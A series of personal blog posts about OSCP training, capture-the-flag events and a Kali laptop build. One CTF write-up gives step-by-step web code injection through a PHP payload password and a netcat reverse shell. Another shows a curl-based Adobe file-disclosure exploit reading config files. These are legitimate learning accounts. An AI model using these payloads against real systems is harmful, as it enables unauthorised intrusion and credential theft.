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OSCP: Is the Pentesting With Kali (PWK) course worth it?

2017-05-23 14:07:00

One of my past colleagues reached out to me today, asking me this:

I'm still OSCP-wannaby, but probably it is too technical for me. I'm still not sure. Could you please share if a pre-exam training is worth its price or what is your practical - cutting of 'try harder' ;-) - advice to pass it?

I'll post my reply here, because I've been telling people this very thing for the past few weeks.

I've always thought OffSec's online PWK training to be well worth the money! $1150 gets you a huge PDF with all the course work, a few hours of videos and 90 days of lab access. It also includes your first exam attempt. For a training of this quality, that's really not a lot of money! You could even opt to pay even less, getting only 30/60 days of lab access.

The classroom variant is something else entirely though. It's a LOT more expensive, at roughly $6000. That's for a week's on-site training, including a CTF event on one night. You also get the same PDF and videos, the included exam, but only 30 days of lab access. For me, it was well worth it because it was five days of non-stop hacking in a room with 30 other students and two top-notch trainers.  

Something that saved me time and money: during the classroom training you receive the two most important VMs, which you can use on your OWN laptop. Thanks to that, I didn't have to start my lab access until I'd finished >90% of my exercises. In the online PWK you use lab access to work on your exercises!  

The course is always worth it before taking the exam: submitting a proper report of your coursework may net you 5 bonus points on the exam. Submitting a pen-test report for the labs may net you a further 5 bonus points. On a minimal passing score of 70, those 10 points can really help a lot!  

So yeah. Definitely work through all the coursework to get into it and score points. Then play a lot in the labs, for both practice and more points. Then take the exam when your time's up. Always do the exam! Because if you fail your exam and then renew your labs, OffSec will include a "free" retake of your exam with the new lab time! Totally worth it! That way your "failed" exam because a recon mission that teaches you a lot! tags: , ,

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Lab time's up! Only a few days left

2017-04-27 22:19:00

This morning my lab time for the PWK studies expired. I tied a ribbon around the lab report and I'm done! In just a week's time the lab penetration test report grew from 67 pages to 101! In total, I've cracked 18 of the 50+ servers and I'd made good progress on number 19. Not even halfway through the labs, but heck! I've learned SO much! I'm looking forward to Tuesday, even knowing up front that I will not pass. It's gonna be such a great experience! /o/ tags: , ,

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Almost ready for my first OSCP exam

2017-04-19 14:40:00

Covers of my reports

I sincerely doubt that I'm ready to pass the OSCP exam, but my first attempt is scheduled for May 2nd. My lab time's coming to a close in little over a week and so far I have fully exploited twelve systems and I've learned a tremendous amount of new things. It's been a wonderful experience!

In preparation for the exam, I have finally completed two reports for bonus points:

I've done my best to make the reports fit to my usual standards of documentation, so I'm pretty darn proud of the results! 

Let's see how things go in a week or two. I'll learn a lot during my first exam and after that I'll probably book more lab time. tags: , , ,

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I've written my first exploit tool: XML injection in Adobe services leads to file disclosure

2017-04-07 21:35:00

Today I spent a few hours learning how to manually perform the actions that one would otherwise do with Metasploit's "auxiliary:scanner:adobe_xml_inject".

I built a standalone Bash script that uses Curl to submit the XML file to the vulnerable Adobe service(s), so the desired files can be read. Basically, it’s the Bash implementation of Exploit-DB’s multiple/dos/11529.txt (which is a PoC / paper). 

I've submitted this script to Offensive Security and I hope they'll consider adding it to their collection! The script is currently available from my GitHub repository ->

I'm darn happy with how the script turned out! I couldn't have made it this quickly without the valuable experience I've built at $PREVCLIENT, using Curl to work with the Nexpose and PingFederate APIs. 

EDIT: And it's up on Exploit-DB!

Here's a little show of what the script does!

root@kali:~/Documents/exploits# ./ -? [-?] [-d] [-s] [-b] -h host [-p port] [-f file]

	   -?   Show this help message.
	   -d   Debug mode, outputs more kruft on stdout.
	   -s   Use SSL / HTTPS, instead of HTTP.
	   -b	Break on the first valid answer found.
	   -h	Target host
	   -p	Target port, defaults to 8400.
	   -f	Full path to file to grab, defaults to /etc/passwd.

	This script exploits a known vulnerability in a set of Adobe applications. Using one 
	of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
	normally inaccessible. 

	NOTE: Windows paths use \, so be sure to properly escape them when using -f! For example: -h -f c:\\coldfusion8\\lib\\ -h -f 'c:\coldfusion8\lib\'

	This script relies on CURL, so please have it in your PATH. 

root@kali:~/Documents/exploits# ./ -h -p 80 -f 'c:\coldfusion8\lib\'
INFO 200 for
INFO 200 for
Read from
<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl"><string>;jsessionid=f030d168c640a7d02d4036a3d3b7e4c35783</string></header>
<body targetURI="/onResult" responseURI=""><object type="flex.messaging.messages.AcknowledgeMessage"><traits>
<string>#Fri Sep 23 18:27:15 PDT 2011
rdspassword=< redacted >
password=< redacted >
INFO 500 for
INFO 200 for
INFO 500 for
INFO 500 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for
INFO 404 for tags: , , ,

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A wonderful day at CTF036 2017

2017-03-31 22:40:00

Presenting at CTF036 about RF hacking

Today was a blast! In what has become an annual tradition, Ultimum organised the third edition of their CTF036 event

A big change since last year: I started the day not by listening, but by talking! I presented the "My first RH hack" talk, which I'd given last year at IT Gilde. In it, I outlined what I'd learned hacking the Kerui alarm system. The slides to my presentation can be found here. Reactions from the attendants were generally positive: apparently my presentation style was well-received and I'd matched the content's level to that of the crowd. 

I was followed by John Kroon, who detailed a vulnerability assessment framework he'd built and Sijmen Ruwhof. The latter has recently gained some fame with his public outcry regarding the Dutch voting process and the software involved. It's quite the kerfuffle!

The CTF was quite a challenge! Like last year we were presented with an A4 sized description of the target, which basically hinted at a domainname, a mail server and a DNS server. After some initial confusion about IP ranges, I got off to a start. DNSenum confirmed three hosts in one network, with two others in a deeper subnet. The three servers out in the open are respectively a web server, the mail server and a Windows host with data shares. 

Like last year, I started with the web server. This runs CMS-Made-Simple v1.1.2. Sploitsearch did not list anything that seemed immediately useful, but Nikto did show me that various useful subdirs were found, including /admin and /install. John's colleague Jordy quickly found something interesting, which relies upon /install not being deleted: CMS-MS PHP Code Injection vulnerability

By this time a few competitors had discovered something I'd missed: the Windows box had a freely accessible share with three of the sought-after accounts, worth 30 points. Of the twenty-odd competitors, three had 30 points within the first hour. 

John and I continued poking at Jordy's suggestion, with Rik across the tables following suit. I was the first to get it to work, after Jordy spurred me on. The basic process was indeed as outlined in the linked article:

  1. Setup MySQL on my own sytem.
  2. Make a random, empty database and grant a new account (e.g. "test") full access to the database. 
  3. The password to the user account must be: '.passthru($_GET['command']);exit;//
  4. The database must be accessible remotely (change mysql.cnf and use the appropriate GRANT, more info here).
  5. At this point you use the setup tool in /install to point CMS-MS at your own database. Uncheck the boxes in step #4. 
  6. Once you've finished the setup tool, the config.php file contains the password above, which enables you to call the base URL with an added "?command=" where you can enter any arbitrary command for the host OS. 
  7. I quickly found that the target host had /bin/netcat installed, so I could run -e /bin/bash 443
  8. This connects to my listening netcat on my port 443. Ace!

Netcat gave me a shell as user "www-data". Poking around the host I found no abusable SUID executables, no sudo rules and no obvious methods for privesc. I did manage to grab /home/accounts.txt which contains seven accounts. Thus, for about half an hour, I was in the gleeful position of being 1st with 70 points :D 

While I kept poking at the web server and later moved on to the RoundCube/Dovecot box, I also helped John and Rik while they tried to get the CMS-MS exploit to work. Word got around quickly and a few of the guys who already had 30pts moved up to 100, with about 40mins left. I tried hard, but I couldn't find a way to score more points, so I ended up in 5th place today. 

Ultimum's Michael informed us that the maximum score attainable was 500pts, so basically none of us had scratched beyond the surface by 16:00. As I said: they made it quite the challenge! It was a lot of fun! tags: , ,

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Offensive Security PWK - CTF

2016-12-16 12:37:00

Faraday Security pentest

So far I'm loving OffSec's live classroom PWK course (Pen-Testing with Kali Linux), mostly because it actually requires quite some effort while your there. No slouching in your seats, but axe-to-the-grindwheel hands-on work. But last night was a toughy! As part of the five day course, the Thursday evening offers an additional CTF where all students can take part in attacking a simulated company. 

The initial setup is quite similar to the events which I'd experience at Ultimum and at KPMG: the contestants were divided into teams and were given VPN login details. In this case, the VPN connection led us straight into the target company's DMZ, of which we were given a basic sketch. A handful of servers were shown, as well as a number of routers/firewalls leading into SCADA and backoffice networks. As usual, the challenge was to own as many systems as possible and to delve as deeply into the network as you could. 

Let me tell you, practicing coursework is something completely different from trying the real deal. Here we are, with 32 hours of practice under our belt and all of a sudden we're spoilt for choice. Two dozen target hosts with all manner of OSes and software. In the end my team concluded that it was so much that it'd left our heads spinning and that we should have focused on a small number of targets instead of going wide. 

Our initial approach was very nice: get together as a group, quickly introduce eachother and then form pairs. With a team of 8-10 people, working individually leads to a huge mess. Working in pairs, not only would we have two brains on one problem, but that would also leave more room for open communication. We spent the first 45 minutes on getting our VPN connections working and on recon, each pair using a different strategy. All results were the poured into Faraday on my laptop, whose dashboard was accessible to our team mates through the browser. I've been using Faraday pretty extensively during the PWK course and I'm seriously considering using it on future assignments!

After three grueling hours our team came in second, having owned only one box and having scored minor flags on other hosts. I'm grateful that the OffSec team went over a few of the targets today, taking about 30min each to discuss the approach needed to tackle each host. Very educational and the approaches were all across the board :) tags: , , , ,

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Passed my CEH and took part in a CTF

2016-07-05 20:10:00

Today was a day well spent!

This morning I passed my CEH examination in under 45 minutes. Bam-bam-bam, answers hammered out with time to spare for coffee on my way to Amstelveen. A few weeks back I'd started this course expecting some level of technical depth, but in the end I've concluded that CEH makes a nice entry-level course for managers or juniors in IT. One of my colleagues in the SOC had already warned me about that ;) I still had lots of fun with my fellow IT Gilde members, playing around during the evening-time classes set up in cooperation with TSTC.

Why go to Amstelveen? Because it's home to KPMG's beautiful offices, which is where I would take part in a CTF event co-organized by CQure! This special event served as a trial-run for a new service that KPMG will be offering to companies: CTF as a training event. Roughly twenty visitors were split across four teams, each tackling the same challenge in a dedicated VM environment. My team consisted mostly of pen-testing newbies, but we managed to make nice headway by working together and by coordinating our efforts through a whiteboard. 

This CTF was a traditional one, where the players are assumed to be attacking a company's infrastructure. All contestants were given VPN configuration data, in order to connect into the gaming environment. KPMG took things very seriously and had set up separate environments for each team, so we could have free reign over our targets. The introductory brief provided some details about the target, with regards to their web address and the specific data we were to retrieve. 

As I mentioned, our room was pretty distinct insofar that we were 90% newbies. Thus our efforts mostly consisted of reconnaissance and identifying methods of ingress. I won't go into details of the scenario, as KPMG intends to (re)use this scenario for other teams, but I can tell you that they're pretty nicely put together. They include scripts or bots that simulate end-user behaviour, with regards to email and browser usage. 

CQure and KPMG have already announced their follow-up to this year's CTF, which will be held in April of 2017. They've left me with a great impression and I'd love to take part in their next event! tags: , , , ,

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CTF036 security event in Almere

2016-04-01 19:01:00

My notes from CTF036

A few weeks ago Almere-local consulting firm Ultimum posted on LinkedIn about their upcoming capture the flag event CTF036. Having had my first taste of CTF at last fall's PvIB event, I was eager to jump in again! 

The morning's three lectures were awesome!

The afternoon's CTF provided the following case (summarized): "De Kiespijn Praktijk is a healthcare provider whom you are hired to attack. Your goal is to grab as many of their medical record identifiers as you can. Based on an email that you intercepted you know that they have 5 externally hosted servers, 2 of which are accessible through the Internet. They also have wifi at their offices, with Windows PCs." The maximum score would be achieved by grabbing 24 records, for 240 points. 

I didn't have any illusions of scoring any points at all, because I still don't have any PenTesting experience. For starters, I decided to start reconnaissance through two paths: the Internet and the wifi. 

As you can see from my notes it was easy to find the DKP-WIFI-D (as I was on the D-block) MAC address, for use with Reaver to crack the wifi password. Unfortunately my burner laptop lacks both the processing power and a properly sniffing wlan adapter, so I couldn't get in that way. 

I was luckier going at their servers:

  1. Sanne's home directory, which actually contained a text file with "important patients". BAM! Three medical records!!
  2. The /etc/shadow file had an easily crackable password for user Henk. Unfortunately that username+password did not let me access the .15 server through SSH or Webmin.
  3. Sanne has a mailbox! In /home/vmail I found her mailbox and it was receiving email! I used the Drupal site's password recovery to access her Drupal account. 

I didn't find anything using Sanne's account on the Drupal site. But boy was I wrong! 16:00 had come and gone, when my neighbor informed me that I simply should have added q=admin to Sanne's session's URL. Her admin section would have given me access to six more patient records! Six! 

Today was a well-spent day! My first time using Metasploit! My first time trying WPA2 hacking! Putting together a great puzzle to get more and more access :) Thanks Ultimum! I'm very much looking forward to next year's CTF! tags: , , , ,

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A cheap laptop as pen-testing portable: Lenovo Ideapad s21e-20 and Kali

2015-10-07 15:00:00

the Lenovo Ideapad s21e-20 Windows 8

In preparation of the recent PvIB penetration testing workshop, I was looking for a safe way to participate in the CTF. I was loathe of wiping my sole computer, my Macbook Air and I also didn't want to use my old Macbook which is now in use as Dana's plaything. Luckily my IT Gilde buddy Mark Janssen had a great suggestion: the Lenovo Ideapad s21e-20. gave it a basic 6,0 out of 10 and I'd agree: it's a very basic laptop at a very affordable price. At €180 it gives me a wonderfully portable system (light and good formfactor), with a decent 11.6" screen, an okay keyboard and too little storage. Storage is the biggest issue for the purposes I had in mind! Biggest annoyance is that the touchpad doesn't work under Linux without lots of fidgetting.

I wanted to retain the original Windows 8 installation on the system, while allowing it to dual-boot Kali Linux. In order to get it completely up and running, here's the process I followed. You will need a bunch of extra hardware to get it all up and running.

So here we go!

  1. Unbox and install as usual. Walk through the complete Windows setup.
  2. Feel free to plug the SDHC microSD card into the storage slot of the laptop. You won't be using it for now, but that way you won't lose it. 
  3. Under Windows Update, disable the optional update for the Windows 10 installer. You don't have enough space for Windows 10 anyway. Then run all required updates, to keep things safe.
  4. Configure Windows as desired :)
  5. Using the partitioning and formatting tool of Windows, cut your C: drive by 1.5GB. Create a new partition on the free space created thusly. 
  6. Download the Kali Linux 32-bit live CD.
  7. Get a tool like Rufus and burn the Kali ISO to the external USB drive.
  8. Restart into UEFI, by using the advanced options menu of the Windows restart. Windows key -> Power icon -> shift-click "restart" -> advanced -> UEFI.
  9. In UEFI go to the "boot" tab. Set the boot mode to "Legacy Support", boot priority to "Legacy first" and USB boot to "enabled". 
  10. Save, then plugin the Wifi dongle on the other USB port and reboot. Boot Kali from the USB drive. 
  11. Once you've booted to the desktop, you're stuck without a mouse :p Press the Windows Flag key on your keybard to popup the search bar. Type "install" and start the Kali installer. 
  12. The installer starts in a new window, but it will only be partially visible! You'll need to navigate using the arrow keys and you'll need to make a few good guesses. For most questions you can use the default value as provided, or confirm the required information using the Enter key.
  13. If you would like to change your Location, the bottom-most option in the list is "Other" which will allow you to select "Europe" and so on.
  14. Once you reach the "Partition disks" screen, choose "Manual".
  15. Your internal storage is /dev/mmcblk0, while the SDHC card in the slot will be /dev/mmcblk1. Ensure that the 1.5GB partition on blk0 is made into /boot as ext4. Also partition the SDHC card to have at least 20GB of / as ext4 and swap (4GB). If desired you may also create a third partition as FAT32, so you can have more scratch space to exchange files between Windows and Linux. 
  16. The bottom-most option in the partitioning screen is "save and continue". Do not mess with TAB etc. Once you're done with the partition tables, just push the down arrow until it keeps beeping and press Enter.
  17. Once asked where to install GRUB, just chuck it on the /dev/mmcblk0 MBR. This kills the Windows 8 default bootloader, but Windows will work just fine. 
  18. Finish the installation by answering the rest of the questions.
  19. Shutdown the laptop, unplug the USB drive and replace it with your USB mouse. Poweron the laptop and boot Kali.

The good thing is that you won't need to mess around with extra settings to actually boot from the SDHC card! On older Ideapad laptops this was a lot of hassle and required extra work to boot from SD

Now, we're almost there!

  1. Follow these instructions to allow GRUB to boot Windows again. At the end use the update-grub command instead of grub2-mkconfig. Use fdisk -l /dev/mmcblk0 to find which partition you need to at to 15_Windows. In my case it was hd0,1. That's the EFI partition. You can reboot to verify that Windows boots again. It will complain that "no operating system was found", but Windows will boot just fine!
  2. The guys at blackMORE Ops have created a nice article titled "20 Things to do after installing Kali Linux". A lot of these additions are very nice, feel free to follow them. 
  3. Follow the Debian Wiki instructions on setting up the WL drivers for the BCM43142 onboard wifi card. Reboot afterwards and unplug the USB wifi dongle before starting back into Linux. Your onboard wifi will now work!
  4. If, like me, you appreciate your night vision go ahead and install F.Lux for Linux. In my case I start it up with: xflux -l 52.4 -g 5.3 -k 2600. You can put that in a small script and include it with the startup scripts of Gnome.  

And there we have it! Your Ideadpad s21e is now dual-booting Windows 8 and Kali Linux. Don't forget to clone the drives to a backup drive, so you won't have to redo all of these steps every time you visit a hacking event :) Just clone the backup back onto the system afterwards, to wipe your whole system (sans UEFI and USB controllers). tags: , , , ,

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PvIB Pen.Testing workshop

2015-10-07 06:32:00

The CTF site

Last night I attended PvIB's annual pen-testing event with a number of friends and colleagues. First impressions? It's time for me to enroll as member of PvIB because their work is well worth it!

In preparation to the event I prepared a minimalistic notebook computer with a Windows 8 and Kali Linux dual-boot. Why Kali? Because it's a light-weight and cross-hardware Linux installer that's chock-full of security tools! Just about anything I might need was pre-installed and anything else was an apt-get away. 

Traveling to the event I expected to do some networking, meeting a lot of new people by doing the rounds a bit while trying to pick up tidbits from the table coaches going around the room. Instead, I found myself engrossed in a wonderfully prepared CTF competition. In this case, we weren't running around the conference hall, trying to capture each other's flags :D The screenshot above shows how things worked:

  1. Each participant would register an account on
  2. Your personal dashboard showed the available challenges, each worth a number of points.
  3. Supposedly easy challenges would net you 50-100 points, while big ones would net 250, 500 or even 1000!
  4. Each challenge would result in a file or piece of text, which one needed to MD5 and then submit through the dashboard.

I had no illusions of my skillset, so I went into the evening to have fun, to learn and to meet new folks. I completely forgot to network, so instead I hung out with a great group of students from HS Leiden, all of whom ended up really high in the rankings. While I was poking around 50-200 point challenges, they were diving deeply into virtual machine images searching for hidden rootkits and other such hardcore stuff. It was great listening to their banter and their back-and-forth with the table coach, trying to figure out what the heck they were up to :)

I ended up in 49th place out of 85 participants with 625 points. That's mostly middle of the pack, while the top 16 scored over 1400 (#1 took 3100!!) and the top 32 scoring over 875. 

Challenges that I managed to tackle included:

Together with Cynthia from HSL, we also tried to figure out:

The latter was a wonderful test and we almost had it! Using various clues from the web, which involved multiple steganography tools provided by Alan Eliason, ImageMagick and VLC. We assumed it was a motion-jpeg image with differences in the three frames detected, but that wasn't it. Turns out it -was- in fact steganography using steghide.

Ironically the very first test proved very annoying to me, as the MD5 sum of the string I found kept being rejected. It wasn't until our coach hinted at ending NULL characters that I switched from "cat $FILE | md5sum" to "echo -n $STRING | md5sum". And that's what made it work. 

To sum things up: was I doing any pen-testing? No. Did I learn new things? Absolutely! Did I have a lot of fun? Damn right! :) tags: , , , ,

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